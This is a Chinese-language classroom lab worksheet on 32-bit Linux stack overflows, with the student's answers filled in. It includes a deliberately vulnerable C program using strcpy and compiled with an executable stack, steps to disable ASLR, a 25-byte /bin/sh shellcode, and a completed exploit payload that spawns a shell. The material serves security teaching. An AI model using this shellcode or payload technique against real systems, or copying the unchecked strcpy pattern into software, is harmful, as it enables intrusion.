理解栈地址溢出和 Shellcode

使用

本文档以通关方式撰写，完成一关进入下一关，请将需要填写的内容写在空白处。

概述

这个练习用来帮助大家理解栈溢出原理。这需要启动 Linux 操作系统，32 位。

条件

这个练习用来帮助大家理解栈溢出原理。这需要 Linux 操作系统，32 位。

有两个方式：

第一，**安装虚拟机**（如 VirtualBox 或 VMWare），并安装 CentOS 6.10 操作系统，下载地址：

http://mirror.bit.edu.cn/centos/6.10/isos/i386/

文件：CentOS-6.10-i386-minimal.iso

如果安装时出现“unable to boot use a kernel appropriate for your CPU”错误，请配置虚拟处理器（CPU）启用 PAE/NX 特性。

系统安装后，以 root 用户执行：

```
yum install gcc
yum install gdb
```

GATE 1

用编辑器（vim 或其他）输入如下代码，命名为 ans_check2.c。

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_answer(char *ans) {

  int ans_flag = 0;
  char ans_buf[32]; //注意此行的变化

  printf("ans_buf is at address %p\n", &ans_buf);

  strcpy(ans_buf, ans);

  if (strcmp(ans_buf, "forty-two") == 0)
    ans_flag = 1;

  return ans_flag;

}

int main(int argc, char *argv[]) {

  if (argc < 2) {
    printf("Usage: %s <answer>\n", argv[0]);
    exit(0);
  }
  if (check_answer(argv[1])) {
    printf("Right answer!\n");
  } else {
    printf("Wrong answer!\n");
  }
}
```

这个代码与 ans_check.c 相似，不同的地方用蓝色粗体表示，请理解该代码的功能。（注意 check_answer 函数第二行的变化）

用如下指令编译该程序：

```
gcc ans_check2.c -g -z execstack -o ans_check2
```

其中，选项“-z execstack”表示栈可以执行（栈中可以包含运行指令）。运行如下指令，将输出结果粘贴在空白处：

```
./ans_check2 forty-two
```

此处是空白处：

ans_buf is at address 0xbfe77cdc
Right answer!

GATE 2

现在，用 python 语言产生输入，运行该程序。

```
./ans_check2 $(python -c "print '0'*5")
```

其中，`python -c "print '0'*5"`产生一个字符串`'00000'`(5 个 0)，通过修改其中的数字可以很容易的改变输入 0 的长度。**（此处不用理解 Python 语句含义）**

通过辅助 python 代码，我以发现 1) 通过输入是否可以使程序的栈缓冲区溢出，2) 多长的输入能够使栈缓冲区溢出。

增加输入长度，直到程序因为 Segmentation fault 而退出。 将产生 Segmentation fault 的指令和结果粘贴在空白处。

此处是空白处：

./ans_check2 $(python -c "print '0'*44")

ans_buf is at address 0xbfe5bf0c
Right answer!
Segmentation fault (core dumped)

GATE 3

Gate2 粗略地找到了栈溢出的输入长度，下面，我们将填入有意义的代码，进而劫持程序。

执行下面二进制反编译命令，将输出写在空白处。

```
objdump -D ans_check2 | grep -B 1 exit
```

此处是空白处：

080483b4 <exit@plt>:
--
80484ff: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048506: e8 a9 fe ff ff call 80483b4 <exit@plt>

其中，“-B 1”选项可以使 grep 命令输出包含“exit”行及前一行的信息。这两行代码能够让程序退出。我们将通过修改输入内容，让程序跳转到这两行代码执行，即直接令程序退出。

这里假设**这两行代码首地址**是 0xdeadbeef (**根据你的程序地址替换**)，执行如下命令：

./ans_check2 $(python -c "print '\xef\xbe\xad\xde'*N")

其中，**N 是多少，需要你来发现**。找到满足如下条件的 N：
1）程序能够正常退出；
2）退出时不输出答案正确或错误的信息；
3）没有 Segmentation fault 错误；
4）N 最短。

将**正确的结果**连同**正确结果的输入**一并记录在空白处。

此处是空白处：

./ans_check2 $(python -c "print '\xb4\x83\x04\x08'*13")
ans_buf is at address 0xbfe4860c

GATE 4

Gate4 用来观察 ASLR 技术，这是一种早期系统防范缓冲区溢出的方法之一，该方法已经可以被绕过。

多次执行./ans_check2 forty-three 命令，观察每次的输出是否相同。请运行 3 次，将输出结果写在空白处。（**请注意：如果程序在校内服务器运行，ASLR 已经被关闭，多次运行结果相同。**）

此处是空白处：

ans_buf is at address 0xbfe4ba3c
Wrong answer!

ans_buf is at address 0xbff30d8c
Wrong answer!

ans_buf is at address 0xbfc3c7cc
Wrong answer!

ans_check2 程序在 gdb（调试器）中运行程序，每次输出是相同的，即程序自身缓冲区起始地址（新增 printf 语句对应的输出）和实际的栈中缓冲区地址是一样的。

ans_check2 在 gdb 之外执行程序，它们的值可能是不同的，即**每次执行程序，程序 printf 输出的地址都不同**（说明分配的内存栈地址不同）。这是因为：系统可能使用了地址空间布局随机化 address space layout randomization (ASLR)，在 gdb 中，默认不开启 ASLR。

关闭 ASLR 执行如下命令：

```
cat /proc/sys/kernel/randomize_va_space
sudo su -
echo 0 > /proc/sys/kernel/randomize_va_space
exit
```

打开 ASLR，执行如下命令：

```
cat /proc/sys/kernel/randomize_va_space
sudo su -
echo 2 > /proc/sys/kernel/randomize_va_space
exit
```

再执行“./ans_check2 forty-three” 等指令，每次执行的缓冲区地址将一样。记录这个地址：

此处是空白处：

ans_buf is at address 0xbffff52c
Wrong answer!

完成 Gate4 之前，请尝试打开 ASLR 并关闭 ASLR，在 2 个空白处分别填写输出结果不同和输出结果相同的两个结果。

GATE 5

这里，将尝试在输入字符序列中添加可执行代码。

使用编辑器 vi 等写一个程序，存储为 shellcode_test.c，代码如下：

```
#include <stdlib.h>
//shell
char sc1[] ="\x31\xc0\x50\x68\x2f\x2f\x73\x68"
            "\x68\x2f\x62\x69\x6e\x89\xe3\x50"
           "\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main()
{
  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)sc1;
}
```

用下列命令编译源代码：

gcc shellcode_test.c -g -z execstack -o stest

当你执行“./stest”时，你发现自己在一个新的 shell 里面，这个代码验证了 sc1[]中存储的 25 个字节启动了一个 shell。在新 shell 中执行 exit 退出。

可以对 stest 执行反汇编，查看 shellcode 的汇编代码。

```
objdump -D stest | less
```

-D 选项反编译文件中的全部内容。可以输入**/sc1 <enter>**定位到 sc1 内容，将 sc1 的反汇编内容拷贝到空白处（拷贝部分内容即可）。

此处是空白处：

```
0804960c <sc1>:
 804960c:       31 c0                   xor    %eax,%eax
 804960e:       50                      push   %eax
 804960f:       68 2f 2f 73 68          push   $0x68732f2f
 8049614:       68 2f 62 69 6e          push   $0x6e69622f
 8049619:       89 e3                   mov    %esp,%ebx
 804961b:       50                      push   %eax
 804961c:       89 e2                   mov    %esp,%edx
 804961e:       53                      push   %ebx
```

```
804961f:       89 e1                mov    %esp,%ecx
8049621:       b0 0b                mov    $0xb,%al
8049623:       cd 80                int    $0x80
8049625:       00 00                add    %al,(%eax)
```

上述代码是验证 shellcode 的基本方法。同时，shellcode 本身也是利用 C 语言写完后通过反编译获得的。具体如何设计和实现精简的 shellcode 属于高级话题。以后将直接利用上述 25 个字节的 shellcode 代码。

GATE 6

至此，我们来考虑构造输入内容，输入内容采用如下模板构造：（**SNR**）

aligned shellcode（对齐的 shellcode） + safe padding（填充） + start address of the buffer（缓冲区首地址）.

Gate1-5 的工作让我们知道了如下信息：

1）缓冲区首地址（Gate4 中关闭 ASLR 或者通过 gdb 获得）；
2）能够覆盖返回地址的输入长度；（Gate3）
3）shellcode。（Gate5）

Gate 5 中的 shellcode 长度为 25，不能够被 4 整除，为此，需要增加 3 个字节的 NOP 操作（\x90\x90\x90）使其对齐（alignment）。

构造后的内容如下：（'\x2c\xf8\xff\xbf'地址替换为实际的缓冲区地址）

```
'\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\
xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x2c\xf8\xff\xbf'*M
```

其中，需要确定 M 的大小，这里的约束是：4*M+28 = 覆盖长度。为了寻找 M，可以通过如下指令尝试: **('PAYLOAD'代表上述的构造内容)**

```
./ans_check2 $(python -c "print 'PAYLOAD'")
```

将期望的输入和输出写在空白处。此时，期望的输入将不产生 seg fault，也没有正确或错误的判断结果，同时能够启动一个由 25 个字节（sc1）启动的 shell。

此处是空白处：

```
[xiabee@localhost Desktop]$ ./ans_check2 $(python -c "print
'\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x8
9\xe1\xb0\x0b\xcd\x80'+'\xfc\xf4\xff\xbf'*6")
ans_buf is at address 0xbffff4fc

sh-4.1$ whoami
xiabee

sh-4.1$
```

GATE 7

至此，你已经能够对 ans_check2 进行利用了。尽管我们知道源代码，但在利用过程中并没有利用源代码的任何知识。

在后续课程中，将尝试体验对未知源代码程序的利用过程。

下课了！